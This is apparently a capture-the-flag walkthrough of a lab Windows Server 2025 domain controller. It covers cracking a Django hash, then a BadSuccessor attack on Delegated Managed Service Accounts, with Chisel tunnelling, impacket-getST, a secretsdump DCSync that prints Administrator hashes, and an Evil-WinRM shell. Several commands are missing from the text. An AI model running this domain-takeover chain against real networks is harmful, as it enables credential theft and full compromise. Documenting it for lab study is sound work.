A Windows domain controller where SQL Server impersonation exposes a cracked hash — and a recently disclosed Active Directory attack against delegated service accounts enables a complete domain takeover.
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 15.47 seconds
The scan reveals three open ports:
80/tcp — Microsoft IIS 10.0 serving eighteen.htb
1433/tcp — Microsoft SQL Server 2022 RTM on a host identifying itself as DC01.eighteen.htb
5985/tcp — WinRM (Microsoft HTTPAPI), useful for remote management
The MSSQL NTLM info confirms the machine is a Domain Controller for eighteen.htb. Note the 7-hour clock skew — this will cause issues with Kerberos later.
Foothold
Hosts File
Add the target domains to /etc/hosts:
1
$ echo'10.129.5.187 eighteen.htb DC01.eighteen.htb' | sudotee -a /etc/hosts
The password_hash field contains a PBKDF2-SHA256 hash. The hex-encoded digest portion — identifiable by its exclusive use of characters 0–9 and a–f — must be re-encoded to Base64 before Hashcat can process it.
Confirm the correct Hashcat mode for Django PBKDF2-SHA256 hashes:
CurrentBuild : 26100 <-SNIP-> ProductName : Windows Server 2025 Datacenter
This build is vulnerable to BadSuccessor. The attack abuses a feature introduced in Windows Server 2025 called Delegated Managed Service Accounts (dMSAs). When a dMSA is configured to “succeed” an existing account, it inherits that account’s Kerberos keys. An attacker with permission to create a dMSA in an OU can point it at any account — including Administrator — and then retrieve its keys through normal Kerberos mechanisms, effectively taking over the target account without touching it directly.
The exploitation path is:
Confirm adam.scott has permission to create a dMSA in an OU.
Create a dMSA linked to Administrator as its predecessor.
Use Kerberos (S4U2self) to obtain a ticket carrying Administrator‘s keys.
Use that ticket to DCSync and dump the Administrator NTLM hash.
Confirming OU Permissions
First, check the groups adam.scott belongs to — the relevant one here is EIGHTEEN\IT:
Group Name Type SID Attributes ========================================== ================ ============================================= ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group EIGHTEEN\IT Group S-1-5-21-1152179935-589108180-1989892463-1604 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\Medium Mandatory Level Label S-1-16-8192
Upload and run Get-BadSuccessorOUPermissions.ps1, which scans all OUs in the domain and reports which accounts have the permissions needed to perform the BadSuccessor technique:
EIGHTEEN\IT has the required permissions on OU=Staff. Since adam.scott is a member of that group, we can proceed.
Creating the dMSA
Upload and execute BadSuccessor.ps1, which automates the dMSA creation and sets msDS-ManagedAccountPrecededByLink to point at Administrator. This is the attribute that tells the DC whose keys to roll into the new dMSA:
The dMSA is in place. The next step is to request a Kerberos ticket for it — but that requires routing traffic through the DC and syncing our clock first.
Tunnelling with Chisel
Impacket’s Kerberos tooling needs to reach the DC’s Kerberos port directly. We set up a SOCKS5 tunnel using Chisel so all subsequent tool calls can be proxied through it. We also forward UDP port 123 to relay NTP traffic, which is useful for keeping the clock in sync.
Point proxychains at the SOCKS5 listener. Comment out the default socks4 line and add the socks5 entry:
1 2 3 4
$ sudo vim /etc/proxychains4.conf
# socks4 127.0.0.1 9050 socks5 127.0.0.1 1080
Fixing the Clock Skew
Kerberos enforces a maximum 5-minute time difference between the client and the KDC. The Nmap scan already flagged a 7-hour skew, so the first TGT request fails immediately:
Disable NTP and manually set the attack machine’s clock to match:
1 2 3 4 5 6 7
$ sudo timedatectl set-ntp false
$ sudodate -u -s "2026-02-25 00:10:43" Wed Feb 25 12:10:43 AM UTC 2026
$ date -u Wed Feb 25 12:10:45 AM UTC 2026
Requesting the TGT
With the clock synced, use impacket-getST with -self -dmsa to trigger the BadSuccessor key derivation on the DC. The DC sees the dMSA’s msDS-ManagedAccountPrecededByLink attribute, computes keys derived from Administrator‘s credentials, and returns them in the ticket response:
[-] CCache file is not found. Skipping... [*] Getting TGT for user [*] Impersonating attacker_dMSA$ [*] Requesting S4U2self [*] Current keys: [*] EncryptionTypes.aes256_cts_hmac_sha1_96:8e9146d0d1d69cd84c91c2f6102f8c57c32276ab162ec74e65ca50336a2fdc57 [*] EncryptionTypes.aes128_cts_hmac_sha1_96:a34293fe1d98fc07692968eff76ee475 [*] EncryptionTypes.rc4_hmac:b6a20564dea575ffcc64ad55a81f66ea [*] Previous keys: [*] EncryptionTypes.rc4_hmac:0b133be956bfaddf9cea56701affddec [*] Saving ticket in attacker_dMSA$@krbtgt_EIGHTEEN.HTB@EIGHTEEN.HTB.ccache
The “Previous keys” section is notable — the rc4_hmac value 0b133be956bfaddf9cea56701affddec is Administrator‘s NTLM hash, which the DC has rolled into the dMSA’s key set.
Export the ticket so Impacket tools pick it up automatically:
The (Pwn3d!) tag confirms we have administrative access to the DC.
Dumping Administrator Credentials
Use secretsdump with the Kerberos ticket to perform a DCSync and extract the Administrator NTLM hash. DCSync works here because the dMSA’s inherited keys satisfy the replication privilege check on the DC:
1 2 3 4 5 6 7 8 9 10 11 12 13
$ proxychains -q impacket-secretsdump -k -no-pass dc01.eighteen.htb -just-dc-user Administrator Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:0b133be956bfaddf9cea56701affddec::: [*] Kerberos keys grabbed Administrator:0x14:977d41fb9cb35c5a28280a6458db3348ed1a14d09248918d182a9d3866809d7b Administrator:0x13:5ebe190ad8b5efaaae5928226046dfc0 Administrator:aes256-cts-hmac-sha1-96:1acd569d364cbf11302bfe05a42c4fa5a7794bab212d0cda92afb586193eaeb2 Administrator:aes128-cts-hmac-sha1-96:7b6b4158f2b9356c021c2b35d000d55f Administrator:0x17:0b133be956bfaddf9cea56701affddec [*] Cleaning up...
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents>
Vaultex
Version 1.0
Theme repository
View the source code, report issues, and contribute to the theme on GitHub.